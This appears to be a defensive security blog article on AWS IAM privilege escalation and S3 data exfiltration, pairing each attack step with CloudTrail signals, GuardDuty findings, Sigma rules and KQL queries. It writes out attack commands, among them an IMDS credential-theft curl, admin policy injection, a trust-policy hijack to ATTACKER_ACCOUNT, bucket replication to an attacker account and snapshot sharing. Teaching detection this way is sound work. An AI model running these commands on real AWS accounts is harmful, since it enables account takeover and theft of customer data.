Your S3 bucket contains 3 years of customer data. The attacker who got in yesterday has read access to exactly one DynamoDB table — or so you think. Six hours later, everything is gone.
This is the AWS IAM privilege escalation story. It happens constantly, and most teams only find out when GuardDuty fires its first alert — well after the attacker has already pivoted to admin.
TL;DR
- A low-privilege IAM credential is often enough to reach full admin — if the right permissions exist
- The most dangerous IAM actions are
iam:CreatePolicyVersion,iam:PassRole,iam:AttachUserPolicy, andiam:PutRolePolicy- Every step leaves CloudTrail events — detection is possible if you know what to look for
- GuardDuty alone isn’t enough; Sigma rules + behavioral baselining catch what it misses
- The March 2026 AWS Threat Technique Catalog update introduced new detection guidance specifically for identity-based attacks
Why This Matters
AWS IAM is the skeleton key of every cloud environment. Get the permissions wrong, and a compromised developer credential becomes a full account takeover in under an hour. Wiz Research found that 82% of organizations unknowingly give third parties access to all their cloud data — and the average cost of a cloud breach hit $4.4 million in 2025.
This article walks the full attack chain from initial credential compromise to S3 data exfiltration — and maps every technique to its CloudTrail fingerprint.
The Attack Chain at a Glance
[Compromised credential] ↓[Phase 1] Initial Foothold — valid IAM access keys ↓[Phase 2] Enumeration — what can this credential do? ↓[Phase 3] Privilege Escalation — low priv → AdministratorAccess ↓[Phase 4] Data Exfiltration — S3 mass download / replicationEach phase uses legitimate AWS API calls. The attacker never touches an exploit or vulnerability — just the AWS CLI and permissions that were misconfigured from day one.
Phase 1: Initial Foothold
The attacker needs a starting credential. In 2026, the most common sources are:
- Leaked access keys — hardcoded in GitHub repos, CI/CD pipelines, Docker images. The GitHub secrets management crisis article covers this in detail.
- SSRF vulnerabilities — hitting the EC2 Instance Metadata Service (IMDS) at
169.254.169.254to steal the temporary credentials of the attached IAM role. - Phishing — developer clicks a malicious link, attacker harvests AWS SSO session tokens.
The attacker confirms the credential works:
# Who am I? What account is this?aws sts get-caller-identityThis call returns the account ID, user ARN, and user ID. It logs to CloudTrail as GetCallerIdentity — a benign-looking call that almost every legitimate user also makes.
Phase 2: Enumeration — Mapping the IAM Landscape
Before escalating, the attacker maps what the compromised identity can do. They need to find which IAM actions are available.
# List policies attached directly to this useraws iam list-attached-user-policies --user-name <username>
# List policies attached to groups this user belongs toaws iam list-groups-for-user --user-name <username>
# Read the actual policy documentaws iam get-policy-version --policy-arn <arn> --version-id v1If direct enumeration is blocked, attackers use brute-force enumeration — tools like enumerate-iam or Pacu’s iam__bruteforce_permissions module call hundreds of safe read-only API endpoints and infer permissions from what succeeds vs. fails.
What this looks like in CloudTrail:
- Burst of
ListAttachedUserPolicies,GetPolicyVersion,ListRolePoliciesevents - Same source IP hammering IAM read APIs in rapid succession
Phase 3: Privilege Escalation — Five Techniques
This is where low-privilege becomes admin. Rhino Security Labs documented 21 IAM escalation paths — these are the five most common in 2026.
Technique 1: CreatePolicyVersion (Direct Admin)
Required permission: iam:CreatePolicyVersion
The attacker creates a new version of an existing policy they have access to — and makes it the default:
# Write a new policy version that grants full adminaws iam create-policy-version \ --policy-arn arn:aws:iam::123456789:policy/DevPolicy \ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \ --set-as-defaultThe --set-as-default flag activates the new version immediately — and critically, it does not require the separate iam:SetDefaultPolicyVersion permission. The attacker now has Action: * on Resource: *.
CloudTrail event: CreatePolicyVersion
Technique 2: AttachUserPolicy / AttachRolePolicy
Required permission: iam:AttachUserPolicy or iam:AttachRolePolicy
The simplest path: attach the AWS-managed AdministratorAccess policy directly to the compromised identity.
aws iam attach-user-policy \ --user-name <username> \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccessCloudTrail event: AttachUserPolicy
Technique 3: iam:PassRole + ec2:RunInstances
Required permissions: iam:PassRole, ec2:RunInstances
Think of iam:PassRole as handing a badge to a new employee. The attacker creates an EC2 instance and assigns it a more privileged IAM role. They then connect to the instance and call the metadata service to steal the privileged role’s credentials.
# Launch EC2 with admin role attachedaws ec2 run-instances \ --image-id ami-0abcdef1234567890 \ --instance-type t2.micro \ --iam-instance-profile Name=AdminProfile
# From inside the instance, steal the credentialscurl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRoleiam:PassRole is one of the most dangerous permissions in AWS. It enables escalation via Lambda, Glue, SageMaker, ECS, CodeStar, and more — any service that can execute code under a role.
CloudTrail events: PassRole, RunInstances
Technique 4: UpdateAssumeRolePolicy (Role Hijacking)
Required permission: iam:UpdateAssumeRolePolicy
Instead of creating a new role (which may trigger alerts), the attacker modifies the trust policy of an existing privileged role to trust their own account or identity.
aws iam update-assume-role-policy \ --role-name AdminRole \ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::ATTACKER_ACCOUNT:root"},"Action":"sts:AssumeRole"}]}'The attacker then calls sts:AssumeRole from their own account. This technique is increasingly preferred because it avoids creating new IAM resources that might trigger detection rules watching for new user/role creation.
CloudTrail events: UpdateAssumeRolePolicy, AssumeRole
Technique 5: PutRolePolicy (Inline Policy Injection)
Required permission: iam:PutRolePolicy
Wiz Research calls this “one of the most powerful AWS privileges” — it lets the attacker inject an inline policy (not a managed policy) into any role. Inline policies are sometimes missed by security tools that only scan attached managed policies.
aws iam put-role-policy \ --role-name TargetRole \ --policy-name BackdoorPolicy \ --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'CloudTrail event: PutRolePolicy
Phase 4: Data Exfiltration — Raiding S3
Now admin, the attacker targets data. S3 is the primary target because it stores everything: database backups, application data, logs, customer records.
Method 1: Mass GetObject Download
# Enumerate all bucketsaws s3 ls
# Download everything from a bucketaws s3 sync s3://company-sensitive-data ./stolen/This translates to thousands of GetObject API calls in CloudTrail — a clear anomaly when compared to the baseline of zero daily calls.
Method 2: S3 Replication to Attacker Bucket
A quieter technique: configure the target bucket to replicate all objects to an attacker-controlled bucket. Future uploads are automatically copied.
aws s3api put-bucket-replication \ --bucket company-sensitive-data \ --replication-configuration file://attacker-replication.jsonThe attacker-replication.json points to a bucket in the attacker’s AWS account. Data flows silently, indefinitely.
CloudTrail event: PutBucketReplication
Method 3: RDS Snapshot Sharing
For databases, attackers create a snapshot and share it with their own account:
aws rds create-db-snapshot --db-instance-identifier prod-db --db-snapshot-identifier stolen-snapaws rds modify-db-snapshot-attribute --db-snapshot-identifier stolen-snap \ --attribute-name restore --values-to-add ATTACKER_ACCOUNT_IDCloudTrail events: CreateDBSnapshot, ModifyDBSnapshotAttribute
Detection: CloudTrail Events Table
| CloudTrail Event | Attack Phase | Severity |
|---|---|---|
GetCallerIdentity (from new IP/region) | Foothold | Low |
ListAttachedUserPolicies burst | Enumeration | Medium |
CreatePolicyVersion (set-as-default) | PrivEsc | Critical |
AttachUserPolicy / AttachRolePolicy | PrivEsc | Critical |
PutRolePolicy / PutUserPolicy | PrivEsc | Critical |
UpdateAssumeRolePolicy | PrivEsc | High |
PassRole + RunInstances | PrivEsc | High |
CreateAccessKey on other users | Persistence | High |
GetObject volume anomaly | Exfiltration | Critical |
PutBucketReplication | Exfiltration | High |
CreateDBSnapshot + ModifyDBSnapshotAttribute | Exfiltration | High |
DeleteTrail / UpdateTrail | Defense Evasion | Critical |
Detection: GuardDuty Findings
AWS GuardDuty (IAM threat intelligence + ML-based anomaly detection) will generate these findings during a real attack:
| GuardDuty Finding | Triggered By |
|---|---|
PrivilegeEscalation:IAMUser/AdministrativePermissions | Policy attachment escalation |
Persistence:IAMUser/AnomalousBehavior | Access key creation, user creation |
Exfiltration:S3/ObjectRead.Unusual | Anomalous GetObject volume |
Discovery:S3/BucketEnumeration.Unusual | ListBuckets from new identity |
Stealth:IAMUser/CloudTrailLoggingDisabled | Attacker disabling trail |
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS | IMDS credential theft used outside AWS |
GuardDuty limitations: It detects patterns, not every IAM event. CreatePolicyVersion won’t fire an alert by itself — only if GuardDuty’s ML decides the behavior is anomalous. Explicit Sigma rules on CloudTrail catch what GuardDuty misses.
Detection: Sigma Rules
Deploy these against your CloudTrail log stream (Wazuh, Splunk, Elastic, or any Sigma-compatible SIEM).
Rule 1 — IAM Policy Escalation:
title: AWS IAM Privilege Escalation via Policy Modificationstatus: stablelogsource: product: aws service: cloudtraildetection: selection: eventSource: iam.amazonaws.com eventName|contains: - CreatePolicyVersion - AttachUserPolicy - AttachRolePolicy - PutUserPolicy - PutRolePolicy - UpdateAssumeRolePolicy condition: selectionfalsepositives: - Legitimate IAM admin operations (baseline and whitelist known admin ARNs)level: highRule 2 — S3 Exfiltration via Replication:
title: AWS S3 Bucket Replication to External Accountstatus: stablelogsource: product: aws service: cloudtraildetection: selection: eventSource: s3.amazonaws.com eventName: PutBucketReplication condition: selectionfalsepositives: - Approved cross-account backup configurationslevel: highDetection: Microsoft Sentinel KQL
If you forward CloudTrail to Sentinel (via the AWS S3 connector or the April 2026 UEBA integration):
// IAM privilege escalation events — last 24 hoursAWSCloudTrail| where TimeGenerated > ago(24h)| where EventSource == "iam.amazonaws.com"| where EventName in ( "CreatePolicyVersion", "AttachUserPolicy", "AttachRolePolicy", "PutUserPolicy", "PutRolePolicy", "UpdateAssumeRolePolicy", "CreateAccessKey", "AddUserToGroup" )| project TimeGenerated, UserIdentityArn, EventName, SourceIpAddress, AWSRegion| order by TimeGenerated desc// Anomalous GetObject volume — potential S3 exfiltrationAWSCloudTrail| where TimeGenerated > ago(1h)| where EventSource == "s3.amazonaws.com" and EventName == "GetObject"| summarize ObjectCount = count() by UserIdentityArn, bin(TimeGenerated, 10m)| where ObjectCount > 500| order by ObjectCount descMitigations
| Control | What It Stops |
|---|---|
| Permission Boundaries | Even if attacker attaches AdministratorAccess, boundary limits maximum effective permissions |
| Service Control Policies (SCPs) | Organization-wide deny on dangerous IAM actions (iam:CreatePolicyVersion, iam:PutRolePolicy) for non-admin roles |
Restrict iam:PassRole | Scope to specific roles only — this is the most abused privilege |
| IAM Access Analyzer | Detects overly permissive policies before deployment |
| CloudTrail + log integrity | Enable log file validation; ship to separate security account the dev team can’t access |
| GuardDuty + S3 Protection | Catches anomalous object reads and bucket enumeration |
| MFA on IAM users | Stolen static keys alone aren’t enough |
| Prefer IAM Roles over Users | Temporary credentials rotate automatically; static access keys don’t |
What You Can Do Today
- Audit
iam:PassRoleright now — runaws iam get-account-authorization-detailsand search for principals with PassRole on*. Every one is a potential escalation path. - Enable GuardDuty S3 Protection if not already on — it’s one click in the console and free for 30 days.
- Check for inline policies — they’re invisible in the IAM console summary view. Run
aws iam list-role-policies --role-name <role>on your top 10 roles. - Create a CloudTrail alert for
DeleteTrail— an attacker disabling logging is your last warning. This should page someone immediately. - Deploy the Sigma rules above in your SIEM with a 30-day baseline window for false positive tuning.
- Run
aws sts get-caller-identityfrom a read-only credential and see what you can enumerate — you’ll be surprised.
Related Posts
- Identity-First Attacks in the Cloud — how attackers treat credentials as the primary attack surface across AWS, Azure, and GCP
- Non-Human Identity Security: The Biggest Blind Spot of 2026 — service accounts and machine identities with excessive IAM permissions
- Entra ID Attacks: Device Code, PRT, and Conditional Access Bypass — the Azure-side equivalent of this attack chain
- GitHub Secrets Management Crisis 2026 — where IAM credentials leak from before the attack even starts
- DFIR: Incident Response Complete Guide 2026 — what to do when you find evidence of this attack chain in your environment
Sources
- AWS IAM Privilege Escalation – Methods and Mitigation — Rhino Security Labs
- AWS IAM Privilege Escalation Techniques — Hacking The Cloud
- IAM Privilege Escalation — Wiz Cloud Threat Landscape
- S3 Bucket Replication Exfiltration — Hacking The Cloud
- GuardDuty IAM Finding Types — AWS Documentation
- GuardDuty S3 Protection Finding Types — AWS Documentation
- AWS Exfiltration via Anomalous GetObject API Activity — Splunk Security Content
- Simplifying AWS Defense with Microsoft Sentinel UEBA — Microsoft Security Blog
- What the March 2026 Threat Technique Catalog Update Means for Your AWS Environment — AWS Security Blog
- 82% of Companies Unknowingly Give 3rd Parties Access to All Their Cloud Data — Wiz Research
- MITRE ATT&CK — Cloud Techniques